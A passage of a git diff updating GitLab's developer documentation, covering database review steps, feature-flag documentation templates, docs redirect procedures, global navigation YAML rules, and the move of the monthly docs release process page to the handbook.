([example](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/25181#note_147551725)). -The MR author should then co-assign the suggested database +The MR author should request a review from the suggested database **reviewer**. When they give their sign-off, they will hand over to the suggested database **maintainer**. @@ -175,7 +176,7 @@ test its execution using `CREATE INDEX CONCURRENTLY` in the `#database-lab` Slac #### Preparation when removing columns, tables, indexes, or other structures -- Follow the [guidelines on dropping columns](what_requires_downtime.md#dropping-columns). +- Follow the [guidelines on dropping columns](avoiding_downtime_in_migrations.md#dropping-columns). - Generally it's best practice (but not a hard rule) to remove indexes and foreign keys in a post-deployment migration. - Exceptions include removing indexes and foreign keys for small tables. - If you're adding a composite index, another index might become redundant, so remove that in the same migration. @@ -198,7 +199,7 @@ test its execution using `CREATE INDEX CONCURRENTLY` in the `#database-lab` Slac - Check that the relevant version files under `db/schema_migrations` were added or removed. - Check queries timing (If any): In a single transaction, cumulative query time executed in a migration needs to fit comfortably within `15s` - preferably much less than that - on GitLab.com. - - For column removals, make sure the column has been [ignored in a previous release](what_requires_downtime.md#dropping-columns) + - For column removals, make sure the column has been [ignored in a previous release](avoiding_downtime_in_migrations.md#dropping-columns) - Check [background migrations](background_migrations.md): - Establish a time estimate for execution on GitLab.com. For historical purposes, it's highly recommended to include this estimation on the merge request description. @@ -220,7 +221,7 @@ test its execution using `CREATE INDEX CONCURRENTLY` in the `#database-lab` Slac - Data migrations should be reversible too or come with a description of how to reverse, when possible. This applies to all types of migrations (regular, post-deploy, background). - Query performance - - Check for any obviously complex queries and queries the author specifically + - Check for any overly complex queries and queries the author specifically points out for review (if any) - If not present yet, ask the author to provide SQL queries and query plans (for example, by using [ChatOps](understanding_explain_plans.md#chatops) or direct diff --git a/doc/development/deprecation_guidelines/index.md b/doc/development/deprecation_guidelines/index.md index c2fea3c6053..2d092b24d65 100644 --- a/doc/development/deprecation_guidelines/index.md +++ b/doc/development/deprecation_guidelines/index.md @@ -26,4 +26,8 @@ A feature can be deprecated at any time, provided there is a viable alternative. ## When can a feature be removed/changed? -See our [Release and Maintenance policy](../../policy/maintenance.md). +For API removals, see the [GraphQL](../../api/graphql/index.md#deprecation-and-removal-process) and [GitLab API](../../api/README.md#compatibility-guidelines) guidelines. + +For configuration removals, see the [Omnibus deprecation policy](https://docs.gitlab.com/omnibus/package-information/deprecation_policy.html). + +For versioning and upgrade details, see our [Release and Maintenance policy](../../policy/maintenance.md). diff --git a/doc/development/distributed_tracing.md b/doc/development/distributed_tracing.md index 17967c5f63c..e5293c0804c 100644 --- a/doc/development/distributed_tracing.md +++ b/doc/development/distributed_tracing.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -157,7 +157,7 @@ This should start the process with the default listening ports. Once you have Jaeger running, configure the `GITLAB_TRACING` variable with the appropriate configuration string. -**TL;DR:** If you are running everything on the same host, use the following value: +If you're running everything on the same host, use the following value: ```shell export GITLAB_TRACING="opentracing://jaeger?http_endpoint=http%3A%2F%2Flocalhost%3A14268%2Fapi%2Ftraces&sampler=const&sampler_param=1" diff --git a/doc/development/documentation/feature_flags.md b/doc/development/documentation/feature_flags.md index 8fe3f0cbf8e..7dd02c44afa 100644 --- a/doc/development/documentation/feature_flags.md +++ b/doc/development/documentation/feature_flags.md @@ -20,7 +20,7 @@ must be documented. For context, see the ## Criteria -According to the process of [deploying GitLab features behind feature flags](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle): +According to the process of [deploying GitLab features behind feature flags](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/): > - _By default, feature flags should be off._ > - _Feature flags should remain in the codebase for a short period as possible to reduce the need for feature flag accounting._ @@ -62,13 +62,14 @@ be enabled for a single project, and is not ready for production use: # Feature Name > - [Introduced](link-to-issue) in GitLab 12.0. -> - It's [deployed behind a feature flag](<replace with path to>/user/feature_flags.md), disabled by default. -> - It's disabled on GitLab.com. -> - It's not recommended for production use. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#anchor-to-section). **(FREE SELF)** +> - [Deployed behind a feature flag](<replace with path to>/user/feature_flags.md), disabled by default. +> - Disabled on GitLab.com. +> - Not recommended for production use. +> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#anchor-to-section). **(FREE SELF)** -WARNING: -This feature might not be available to you. Check the **version history** note above for details. +This in-development feature might not be available for your use. There can be +[risks when enabling features still in development](<replace with path to>/user/feature_flags.md#risks-when-enabling-features-still-in-development). +Refer to this feature's version history for more details. (...Regular content goes here...) @@ -120,14 +121,15 @@ use: # Feature Name > - [Introduced](link-to-issue) in GitLab 12.0. -> - It was [deployed behind a feature flag](<replace with path to>/user/feature_flags.md), disabled by default. -> - [Became enabled by default](link-to-issue) on GitLab 12.1. -> - It's enabled on GitLab.com. -> - It's recommended for production use. +> - [Deployed behind a feature flag](<replace with path to>/user/feature_flags.md), disabled by default. +> - [Enabled by default](link-to-issue) in GitLab 12.1. +> - Enabled on GitLab.com. +> - Recommended for production use. > - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#anchor-to-section). **(FREE SELF)** -WARNING: -This feature might not be available to you. Check the **version history** note above for details. +There can be +[risks when disabling released features](<replace with path to>/user/feature_flags.md#risks-when-disabling-released-features). +Refer to this feature's version history for more details. (...Regular content goes here...) @@ -177,13 +179,14 @@ cannot be enabled for a single project, and is ready for production use: # Feature Name > - [Introduced](link-to-issue) in GitLab 12.0. -> - It's [deployed behind a feature flag](<replace with path to>/user/feature_flags.md), enabled by default. -> - It's enabled on GitLab.com. -> - It's recommended for production use. +> - [Deployed behind a feature flag](<replace with path to>/user/feature_flags.md), enabled by default. +> - Enabled on GitLab.com. +> - Recommended for production use. > - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#anchor-to-section). **(FREE SELF)** -WARNING: -This feature might not be available to you. Check the **version history** note above for details. +There can be +[risks when disabling released features](<replace with path to>/user/feature_flags.md#risks-when-disabling-released-features). +Refer to this feature's version history for more details. (...Regular content goes here...) @@ -249,14 +252,15 @@ be enabled by project, and is ready for production use: # Feature Name > - [Introduced](link-to-issue) in GitLab 12.0. -> - It's [deployed behind a feature flag](<replace with path to>/user/feature_flags.md), enabled by default. -> - It's enabled on GitLab.com. -> - It can be enabled or disabled for a single project. -> - It's recommended for production use. +> - [Deployed behind a feature flag](<replace with path to>/user/feature_flags.md), enabled by default. +> - Enabled on GitLab.com. +> - Can be enabled or disabled for a single project. +> - Recommended for production use. > - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#anchor-to-section). **(FREE SELF)** -WARNING: -This feature might not be available to you. Check the **version history** note above for details. +There can be +[risks when disabling released features](<replace with path to>/user/feature_flags.md#risks-when-disabling-released-features). +Refer to this feature's version history for more details. (...Regular content goes here...) diff --git a/doc/development/documentation/index.md b/doc/development/documentation/index.md index 53e7ba35831..f10396570a2 100644 --- a/doc/development/documentation/index.md +++ b/doc/development/documentation/index.md @@ -183,20 +183,52 @@ file. To add a redirect: -1. Create a merge request in one of the internal docs projects (`gitlab`, - `gitlab-runner`, `omnibus-gitlab`, or `charts`), depending on the location of - the file that's being moved, renamed, or removed. -1. To move or rename the documentation file, create a new file with the new - name or location, but don't delete the existing documentation file. -1. In the original documentation file, add the redirect code for - `/help`. Use the following template exactly, and change only the links and - date. Use relative paths and `.md` for a redirect to another documentation - page. Use the full URL (with `https://`) to redirect to a different project or - site: +1. In the repository (`gitlab`, `gitlab-runner`, `omnibus-gitlab`, or `charts`), + create a new documentation file. Don't delete the old one. The easiest + way is to copy it. For example: + + ```shell + cp doc/user/search/old_file.md doc/api/new_file.md + ``` + +1. Add the redirect code to the old documentation file by running the + following Rake task. The first argument is the path of the old file, + and the second argument is the path of the new file: + + - To redirect to a page in the same project, use relative paths and + the `.md` extension. Both old and new paths start from the same location. + In the following example, both paths are relative to `doc/`: + + ```shell + bundle exec rake "gitlab:docs:redirect[doc/user/search/old_file.md, doc/api/new_file.md]" + ``` + + - To redirect to a page in a different project or site, use the full URL (with `https://`) : + + ```shell + bundle exec rake "gitlab:docs:redirect[doc/user/search/old_file.md, https://example.com]" + ``` + + Alternatively, you can omit the arguments, and you'll be asked to enter + their values: + + ```shell + bundle exec rake gitlab:docs:redirect + ``` + + If you don't want to use the Rake task, you can use the following template. + However, the file paths must be relative to the `doc` or `docs` directory. + + Replace the value of `redirect_to` with the new file path and `YYYY-MM-DD` + with the date the file should be removed. + + Redirect files that link to docs in internal documentation projects + are removed after three months. Redirect files that link to external sites are + removed after one year: ```markdown --- - redirect_to: '../path/to/file/index.md' + redirect_to: '../newpath/to/file/index.md' --- This document was moved to [another location](../path/to/file/index.md). @@ -205,27 +237,24 @@ To add a redirect: <!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> ``` - Redirect files linking to docs in any of the internal documentations projects - are removed after three months. Redirect files linking to external sites are - removed after one year. - 1. If the documentation page being moved has any Disqus comments, follow the steps described in [Redirections for pages with Disqus comments](#redirections-for-pages-with-disqus-comments). -1. If a documentation page you're removing includes images that aren't used +1. Open a merge request with your changes. If a documentation page + you're removing includes images that aren't used with any other documentation pages, be sure to use your merge request to delete those images from the repository. 1. Assign the merge request to a technical writer for review and merge. -1. Search for links to the original documentation file. You must find and update all - links that point to the original documentation file: +1. Search for links to the old documentation file. You must find and update all + links that point to the old documentation file: - In <https://gitlab.com/gitlab-com/www-gitlab-com>, search for full URLs: `grep -r "docs.gitlab.com/ee/path/to/file.html" .` - In <https://gitlab.com/gitlab-org/gitlab-docs/-/tree/master/content/_data>, search the navigation bar configuration files for the path with `.html`: `grep -r "path/to/file.html" .` - - In any of the four internal projects. This includes searching for links in the docs + - In any of the four internal projects, search for links in the docs and codebase. Search for all variations, including full URL and just the path. - In macOS for example, go to the root directory of the `gitlab` project and run: + For example, go to the root directory of the `gitlab` project and run: ```shell grep -r "docs.gitlab.com/ee/path/to/file.html" . @@ -387,11 +416,11 @@ To preview your changes to documentation locally, follow this The live preview is currently enabled for the following projects: - [`gitlab`](https://gitlab.com/gitlab-org/gitlab) +- [`omnibus-gitlab`](https://gitlab.com/gitlab-org/omnibus-gitlab) - [`gitlab-runner`](https://gitlab.com/gitlab-org/gitlab-runner) If your merge request has docs changes, you can use the manual `review-docs-deploy` job to deploy the docs review app for your merge request. -You need at least Maintainer permissions to be able to run it.  @@ -399,11 +428,6 @@ You must push a branch to those repositories, as it doesn't work for forks. The `review-docs-deploy*` job: -1. Creates a new branch in the [`gitlab-docs`](https://gitlab.com/gitlab-org/gitlab-docs) - project named after the scheme: `docs-preview-$DOCS_GITLAB_REPO_SUFFIX-$CI_MERGE_REQUEST_IID`, - where `DOCS_GITLAB_REPO_SUFFIX` is the suffix for each product, e.g, `ee` for - EE, `omnibus` for Omnibus GitLab, etc, and `CI_MERGE_REQUEST_IID` is the ID - of the respective merge request. 1. Triggers a cross project pipeline and build the docs site with your changes. In case the review app URL returns 404, this means that either the site is not @@ -412,11 +436,6 @@ minutes and it should appear online, otherwise you can check the status of the remote pipeline from the link in the merge request's job output. If the pipeline failed or got stuck, drop a line in the `#docs` chat channel. -Make sure that you always delete the branch of the merge request you were -working on. If you don't, the remote docs branch isn't removed either, -and the server where the Review Apps are hosted can eventually run out of -disk space. - NOTE: Someone with no merge rights to the GitLab projects (think of forks from contributors) cannot run the manual job. In that case, you can @@ -440,19 +459,11 @@ If you want to know the in-depth details, here's what's really happening: 1. You manually run the `review-docs-deploy` job in a merge request. 1. The job runs the [`scripts/trigger-build`](https://gitlab.com/gitlab-org/gitlab/blob/master/scripts/trigger-build) - script with the `docs deploy` flag, which in turn: - 1. Takes your branch name and applies the following: - - The `docs-preview-` prefix is added. - - The product slug is used to know the project the review app originated - from. - - The number of the merge request is added so that you can know by the - `gitlab-docs` branch name the merge request it originated from. - 1. The remote branch is then created if it doesn't exist (meaning you can - re-run the manual job as many times as you want and this step is skipped). - 1. A new cross-project pipeline is triggered in the docs project. - 1. The preview URL is shown both at the job output and in the merge request - widget. You also get the link to the remote pipeline. -1. In the docs project, the pipeline is created and it + script with the `docs deploy` flag, which triggers the "Triggered from `gitlab-org/gitlab` 'review-docs-deploy' job" + pipeline trigger in the `gitlab-org/gitlab-docs` project for the `$DOCS_BRANCH` (defaults to `master`). +1. The preview URL is shown both at the job output and in the merge request + widget. You also get the link to the remote pipeline. +1. In the `gitlab-org/gitlab-docs` project, the pipeline is created and it [skips the test jobs](https://gitlab.com/gitlab-org/gitlab-docs/blob/8d5d5c750c602a835614b02f9db42ead1c4b2f5e/.gitlab-ci.yml#L50-55) to lower the build time. 1. Once the docs site is built, the HTML files are uploaded as artifacts. @@ -471,7 +482,8 @@ The following GitLab features are used among others: ## Testing -For more information on documentation testing, see [Documentation testing](testing.md) +For more information about documentation testing, see the [Documentation testing](testing.md) +guide. ## Danger Bot diff --git a/doc/development/documentation/site_architecture/global_nav.md b/doc/development/documentation/site_architecture/global_nav.md index f66b0543ad1..7175a9f1a5c 100644 --- a/doc/development/documentation/site_architecture/global_nav.md +++ b/doc/development/documentation/site_architecture/global_nav.md @@ -10,6 +10,7 @@ description: "Learn how GitLab docs' global navigation works and how to add new > - [Introduced](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/362) in GitLab 11.6. > - [Updated](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/482) in GitLab 12.1. > - [Per-project](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/498) navigation added in GitLab 12.2. +> - [Unified global navigation](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/1482) added in GitLab 13.11. Global navigation (the left-most pane in our three pane documentation) provides: @@ -19,24 +20,12 @@ Global navigation (the left-most pane in our three pane documentation) provides: - The ability to refine landing pages, so they don't have to do all the work of surfacing every page contained within the documentation. -## Quick start - -To add a topic to the global nav, go to the directory that contains -[navigation files](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/content/_data/) -and edit the `yaml` file for your product area. You can copy an existing nav entry and -edit it to point to your topic. - -The files are: - -| File | Document | Location | -|-----------------------|--------------------------------------------------------------------|-------------------------------------------------------| -| `charts-nav.yaml` | GitLab cloud native Helm Chart | `https://docs.gitlab.com/charts/` | -| `default-nav.yaml` | GitLab Docs | `https://docs.gitlab.com/ee/` | -| `omnibus-nav.yaml` | Omnibus GitLab Docs | `https://docs.gitlab.com/omnibus/` | -| `runner-nav.yaml` | GitLab Runner Docs | `https://docs.gitlab.com/runner/` | - ## Adding new items +To add a topic to the global nav, edit +[`navigation.yaml`](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/content/_data/navigation.yaml) +and add your item. + All new pages need a new navigation item. Without a navigation, the page becomes "orphaned". That is: @@ -84,28 +73,16 @@ mechanics of what is required is [documented below](#data-file) but, in principl - Avoid jargon or terms of art, unless ubiquitous. For example, **CI** is an acceptable substitution for **Continuous Integration**. - Navigation links must follow the rules documented in the [data file](#data-file). -- EE badging is subject to the following: - - Required when linking to an EE-only page. - - Not required when linking to a page that is a mix of CE and EE-only content. - - Required when all sub-items are EE-only. In this case, no sub-items are EE badged. - - Not required when sub-items are a mix of CE and EE-only items. In this case, each item is - badged appropriately. ## How it works -The global nav has 3 components: +The global nav has five levels: - **Section** - Category - Doc - -The available sections are described on the table below: - -| Section | Description | -| ------------- | ------------------------------------ | -| User | Documentation for the GitLab UI. | -| Administrator | Documentation for the Admin Area. | -| Contributor | Documentation for developing GitLab. | + - Doc + - Doc The majority of the links available on the nav were added according to the UI. The match is not perfect, as for some UI nav items the documentation doesn't @@ -114,7 +91,7 @@ documentation. The docs under **Administration** are ordered alphabetically for clarity. To see the improvements planned, check the -[global nav epic](https://gitlab.com/groups/gitlab-com/-/epics/21). +[global nav epic](https://gitlab.com/groups/gitlab-org/-/epics/1599). **Do not** [add items](#adding-new-items) to the global nav without the consent of one of the technical writers. @@ -131,9 +108,9 @@ the data among the nav in containers properly [styled](#css-classes). ### Data file -The data file describes the structure of the navigation for the applicable project. All data files -are stored at <https://gitlab.com/gitlab-org/gitlab-docs/blob/master/content/_data/> and comprise -three components: +The data file describes the structure of the navigation for the applicable project. +It is stored at <https://gitlab.com/gitlab-org/gitlab-docs/blob/master/content/_data/navigation.yaml> +and comprises of three main components: - Sections - Categories @@ -183,30 +160,12 @@ Example of section with two stand-alone categories: For clarity, **always** add a blank line between categories. -If a category URL is not present in CE (it's an EE-only document), add the -attribute `ee_only: true` below the category link. Example: - -```yaml -- category_title: Category title - category_url: 'category-link' - ee_only: true -``` - -If the category links to an external URL, e.g., [GitLab Design System](https://design.gitlab.com), -add the attribute `external_url: true` below the category title. Example: - -```yaml -- category_title: GitLab Design System - category_url: 'https://design.gitlab.com' - external_url: true -``` - #### Docs -Each doc represents the third level of nav links. They must be always +Each doc represents the third, fourth, and fifth level of nav links. They must be always added within a category. -Example with one doc link: +Example with three doc links, one at each level: ```yaml - category_title: Category title @@ -214,10 +173,17 @@ Example with one doc link: docs: - doc_title: Document title doc_url: 'doc-link' + docs: + - doc_title: Document title + doc_url: 'doc-link' + docs: + - doc_title: Document title + doc_url: 'doc-link' ``` A category supports as many docs as necessary, but, for clarity, try to not -overpopulate a category. +overpopulate a category. Also, do not use more than three levels of docs, it +is not supported. Example with multiple docs: @@ -231,15 +197,6 @@ Example with multiple docs: doc_url: 'doc-2-link' ``` -Whenever a document is only present in EE, add the attribute `ee-only: true` -below the doc link. Example: - -```yaml -- doc_title: Document 2 title - doc_url: 'doc-2-link' - ee_only: true -``` - If you need to add a document in an external URL, add the attribute `external_url` below the doc link: @@ -258,12 +215,12 @@ Example: ```yaml - category_title: Operations - category_url: 'user/project/integrations/prometheus_library/' + category_url: 'ee/user/project/integrations/prometheus_library/' # until we have a link to operations, the first doc link is # repeated in the category link docs: - doc_title: Metrics - doc_url: 'user/project/integrations/prometheus_library/' + doc_url: 'ee/user/project/integrations/prometheus_library/' ``` #### Syntax @@ -274,43 +231,39 @@ and the following syntax rules. ##### Titles - Use sentence case, capitalizing feature names. -- There's no need to wrap the titles, unless there's a special char in it. E.g., +- There's no need to wrap the titles, unless there's a special char in it. For example, in `GitLab CI/CD`, there's a `/` present, therefore, it must be wrapped in quotes. As convention, wrap the titles in double quotes: `category_title: "GitLab CI/CD"`. ##### URLs -- As convention, always wrap URLs in single quotes `'url'`. -- Always use relative paths against the home of CE and EE. Examples: - - For `https://docs.gitlab.com/ee/README.html`, the relative URL is `README.html`. - - For `https://docs.gitlab.com/ee/user/analytics/value_stream_analytics.md`, the relative - URL is `user/analytics/value_stream_analytics.html`. -- For `README.html` files, add the complete path `path/to/README.html`. -- For `index.html` files, use the clean (canonical) URL: `path/to/`. -- For EE-only docs, use the same relative path, but add the attribute `ee_only: true` below - the `doc_url` or `category_url`, as explained above. This displays - an "information" icon on the nav to make the user aware that the feature is - EE-only. - -WARNING: -All links present on the data file must end in `.html`, not `.md`. Do not -start any relative link with a forward slash `/`. - -Examples: - -```yaml -- category_title: Issues - category_url: 'user/project/issues/' - # note that the above URL does not start with a slash and - # does not include index.html at the end +URLs can be either relative or external, and the following apply: - docs: - - doc_title: Container Scanning - doc_url: 'user/application_security/container_scanning/' - ee_only: true - # note that the URL above ends in html and, as the - # document is EE-only, the attribute ee_only is set to true. -``` +- All links in the data file must end with `.html` (with the exception + of `index.html` files), and not `.md`. +- For `index.html` files, use the clean (canonical) URL: `path/to/`. For example, `https://docs.gitlab.com/ee/install/index.html` becomes `ee/install/`. +- Do not start any relative link with a forward slash `/`. +- As convention, always wrap URLs in single quotes `'url'`. +- Always use the project prefix depending on which project the link you add + lives in. To find the global nav link, from the full URL remove `https://docs.gitlab.com/`. +- If a URL links to an external URL, like the [GitLab Design System](https://design.gitlab.com), + add the attribute `external_url: true`, for example: + + ```yaml + - category_title: GitLab Design System + category_url: 'https://design.gitlab.com' + external_url: true + ``` + +Examples of relative URLs: + +| Full URL | Global nav URL | +| -------------------------------------------------------------- | ------------------------------------- | +| `https://docs.gitlab.com/ee/api/avatar.html` | `ee/api/avatar.html` | +| `https://docs.gitlab.com/ee/install/index.html` | `ee/install/` | +| `https://docs.gitlab.com/omnibus/settings/database.html` | `omnibus/settings/database.html` | +| `https://docs.gitlab.com/charts/installation/deployment.html` | `charts/installation/deployment.html` | +| `https://docs.gitlab.com/runner/install/docker.html` | `runner/install/docker.html` | ### Layout file (logic) @@ -318,74 +271,15 @@ The [layout](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/layouts/globa is fed by the [data file](#data-file), builds the global nav, and is rendered by the [default](https://gitlab.com/gitlab-org/gitlab-docs/blob/master/layouts/default.html) layout. -There are three main considerations on the logic built for the nav: - -- [Path](#path): first-level directories underneath `docs.gitlab.com/`: - - `https://docs.gitlab.com/ce/` - - `https://docs.gitlab.com/ee/` - - `https://docs.gitlab.com/omnibus/` - - `https://docs.gitlab.com/runner/` - - `https://docs.gitlab.com/*` -- [EE-only](#ee-only-docs): documentation only available in `/ee/`, not on `/ce/`, e.g.: - - `https://docs.gitlab.com/ee/user/group/epics/` - - `https://docs.gitlab.com/ee/user/application_security/security_dashboard/index.html` -- [Default URL](#default-url): between CE and EE docs, the default is `ee`, therefore, all docs - should link to `/ee/` unless if on `/ce/` linking internally to `ce`. - -#### Path - -To use relative paths in the data file, we defined the variable `dir` -from the root's first-child directory, which defines the path to build -all the nav links to other pages: - -```html -<% dir = @item.identifier.to_s[%r{(?<=/)[^/]+}] %> -``` - -For instance, for `https://docs.gitlab.com/ee/user/index.html`, -`dir` == `ee`, and for `https://docs.gitlab.com/omnibus/README.html`, -`dir` == `omnibus`. - -#### Default URL - -The default and canonical URL for GitLab documentation is -`https://docs.gitlab.com/ee/`, thus, all links -in the docs site should link to `/ee/` except when linking -among `/ce/` docs themselves. - -Therefore, if the user is looking at `/ee/`, `/omnibus/`, -`/runner/`, or any other highest-level dir, the nav should -point to `/ee/` docs. - -On the other hand, if the user is looking at `/ce/` docs, -all the links in the CE nav should link internally to `/ce/` -files. - -```html -<% if dir != 'ce' %> - <a href="/ee/<%= sec[:section_url] %>">...</a> - <% else %> - <a href="/<%= dir %>/<%= sec[:section_url] %>">...</a> - <% end %> - ... -<% end %> -``` - -This also allows the nav to be displayed on other -highest-level directories (`/omnibus/`, `/runner/`, etc), -linking them back to `/ee/`. - -The same logic is applied to all sections (`sec[:section_url]`), -categories (`cat[:category_url]`), and docs (`doc[:doc_url]`) URLs. - -#### `ee-only` docs - -Docs for features present only in GitLab EE are tagged -in the data file by `ee-only` and an icon is displayed on the nav -link indicating that the `ee-only` feature is not available in CE. +The global nav contains links from all [four upstream projects](index.md#architecture). +The [global nav URL](#urls) has a different prefix depending on the documentation file you change. -The `ee-only` attribute is available for `categories` (`<% if cat[:ee_only] %>`) -and `docs` (`<% if doc[:ee_only] %>`), but not for `sections`. +| Repository | Link prefix | Final URL | +|----------------------------------------------------------------|-------------|-----------| +| <https://gitlab.com/gitlab-org/gitlab/tree/master/doc> | `ee/` |`https://docs.gitlab.com/ee/` | +| <https://gitlab.com/gitlab-org/omnibus-gitlab/tree/master/doc> | `omnibus/` |`https://docs.gitlab.com/omnibus/` | +| <https://gitlab.com/gitlab-org/gitlab-runner/tree/master/docs> | `runner/` |`https://docs.gitlab.com/runner/` | +| <https://gitlab.com/charts/gitlab/tree/master/doc> | `charts/` |`https://docs.gitlab.com/charts/` | ### CSS classes diff --git a/doc/development/documentation/site_architecture/index.md b/doc/development/documentation/site_architecture/index.md index 70fa80b3306..35e9ab5157b 100644 --- a/doc/development/documentation/site_architecture/index.md +++ b/doc/development/documentation/site_architecture/index.md @@ -119,7 +119,7 @@ pipeline in the main `gitlab` repository as well as in `gitlab-docs`. Create an a different name first and test it to ensure you do not break the pipelines. 1. In [`gitlab-docs`](https://gitlab.com/gitlab-org/gitlab-docs), go to **{rocket}** **CI/CD > Pipelines**. -1. Click the **Run Pipeline** button. +1. Click the **Run pipeline** button. 1. See that a new pipeline is running. The jobs that build the images are in the first stage, `build-images`. You can click the pipeline number to see the larger pipeline graph, or click the first (`build-images`) stage in the mini pipeline graph to @@ -231,7 +231,7 @@ for its search function. This is how it works: ### Algolia notes for GitLab team members -If you’re a GitLab team member, find credentials for the Algolia dashboard +If you're a GitLab team member, find credentials for the Algolia dashboard in the shared [GitLab 1Password account](https://about.gitlab.com/handbook/security/#1password-for-teams). To receive weekly reports of the search usage, search the Google doc with title `Email, Slack, and GitLab Groups and Aliases`, search for `docsearch`, diff --git a/doc/development/documentation/site_architecture/release_process.md b/doc/development/documentation/site_architecture/release_process.md index 7bdf3fbdcf8..9329b93bb26 100644 --- a/doc/development/documentation/site_architecture/release_process.md +++ b/doc/development/documentation/site_architecture/release_process.md @@ -1,168 +1,8 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +redirect_to: 'https://about.gitlab.com/handbook/engineering/ux/technical-writing/workflow/#monthly-documentation-releases' --- -# Monthly release process +This file was moved to [another location](https://about.gitlab.com/handbook/engineering/ux/technical-writing/workflow/#monthly-documentation-releases). -When a new GitLab version is released on the 22nd, we need to release the published documentation -for the new version. - -This should be done as soon as possible after the GitLab version is announced, so that: - -- The published documentation includes the three most recent minor releases of the current major - version, and the most recent minor releases of the last two major versions. For example 13.9, - 13.8, 13.7, 12.10, and 11.11. -- Documentation updates after the 22nd are for the next release. The versions drop down - should have the current milestone with `-pre` appended to it, for example `13.10-pre`. - -Each documentation release: - -- Has a dedicated branch, named in the format `XX.yy`. -- Has a Docker image that contains a build of that branch. - -For example: - -- For [GitLab 13.9](https://docs.gitlab.com/13.9/index.html), the - [stable branch](https://gitlab.com/gitlab-org/gitlab-docs/-/tree/13.9) and Docker image: - [`registry.gitlab.com/gitlab-org/gitlab-docs:13.9`](https://gitlab.com/gitlab-org/gitlab-docs/container_registry/631635). -- For [GitLab 13.8](https://docs.gitlab.com/13.8/index.html), the - [stable branch](https://gitlab.com/gitlab-org/gitlab-docs/-/tree/13.8) and Docker image: - [`registry.gitlab.com/gitlab-org/gitlab-docs:13.8`](https://gitlab.com/gitlab-org/gitlab-docs/container_registry/631635). - -To set up a documentation release, follow these steps: - -1. [Add the charts version](#add-chart-version), so that the documentation is built using the - [version of the charts project that maps to](https://docs.gitlab.com/charts/installation/version_mappings.html) - the GitLab release. This step may have been completed already. -1. [Create a stable branch and Docker image](#create-stable-branch-and-docker-image-for-release) for - the new version. -1. [Create a release merge request](#create-release-merge-request) for the new version, which - updates the version dropdown menu for the current documentation and adds the release to the - Docker configuration. For example, the - [release merge request for 13.9](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/1555). -1. [Update the three online versions](#update-dropdown-for-online-versions), so that they display the new release on their - version dropdown menus. For example: - - The merge request to [update the 13.9 version dropdown menu for the 13.9 release](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/1556). - - The merge request to [update the 13.8 version dropdown menu for the 13.9 release](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/1557). - - The merge request to [update the 13.7 version dropdown menu for the 13.9 release](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/1558). -1. [Merge the release merge request and run the necessary Docker image builds](#merge-release-merge-request-and-run-docker-image-builds). - -## Add chart version - -To add a new charts version for the release: - -1. Make sure you're in the root path of the `gitlab-docs` repository. -1. Open `content/_data/chart_versions.yaml` and add the new stable branch version using the - [version mapping](https://docs.gitlab.com/charts/installation/version_mappings.html). Only the - `major.minor` version is needed. -1. Create a new merge request and merge it. - -NOTE: -If you have time, add anticipated future mappings to `content/_data/chart_versions.yaml`. This saves -a step for the next GitLab release. - -## Create stable branch and Docker image for release - -To create a stable branch and Docker image for the release: - -1. Make sure you're in the root path of the `gitlab-docs` repository. -1. Run the Rake task to create the single version. For example, to create the 13.9 release branch - and perform others tasks: - - ```shell - ./bin/rake "release:single[13.9]" - ``` - - A branch for the release is created, a new `Dockerfile.13.9` is created, and `.gitlab-ci.yml` - has branches variables updated into a new branch. These files are automatically committed. - -1. Push the newly created branch, but **don't create a merge request**. After you push, the - `image:docs-single` job creates a new Docker image tagged with the name of the branch you created - earlier. You can see the Docker image in the `registry` environment at - <https://gitlab.com/gitlab-org/gitlab-docs/-/environments/folders/registry>. - -For example, see [the 13.9 release pipeline](https://gitlab.com/gitlab-org/gitlab-docs/-/pipelines/260288747). - -Optionally, you can test locally by: - -1. Building the image and running it. For example, for GitLab 13.9 documentation: - - ```shell - docker build -t docs:13.9 -f Dockerfile.13.9 . - docker run -it --rm -p 4000:4000 docs:13.9 - ``` - -1. Visiting <http://localhost:4000/13.9/> to see if everything works correctly. - -## Create release merge request - -NOTE: -An [epic is open](https://gitlab.com/groups/gitlab-org/-/epics/4361) to automate this step. - -To create the release merge request for the release: - -1. Make sure you're in the root path of the `gitlab-docs` repository. -1. Create a branch `release-X-Y`. For example: - - ```shell - git checkout master - git checkout -b release-13-9 - ``` - -1. Edit `content/_data/versions.yaml` and update the lists of versions to reflect the new release: - - - Add the latest version to the `online:` section. - - Move the oldest version in `online:` to the `offline:` section. There should now be three - versions in `online:`. - -1. Update these Dockerfiles: - - - `dockerfiles/Dockerfile.archives`: Add the latest version to the top of the list. - - `Dockerfile.master`: Remove the oldest version, and add the newest version to the - top of the list. - -1. Commit and push to create the merge request. For example: - - ```shell - git add content/ Dockerfile.master dockerfiles/Dockerfile.archives - git commit -m "Release 13.9" - git push origin release-13-9 - ``` - -Do not merge the release merge request yet. - -## Update dropdown for online versions - -To update`content/_data/versions.yaml` for all online versions (stable branches `X.Y` of the -`gitlab-docs` project): - -1. Run the Rake task that creates all of the necessary merge requests 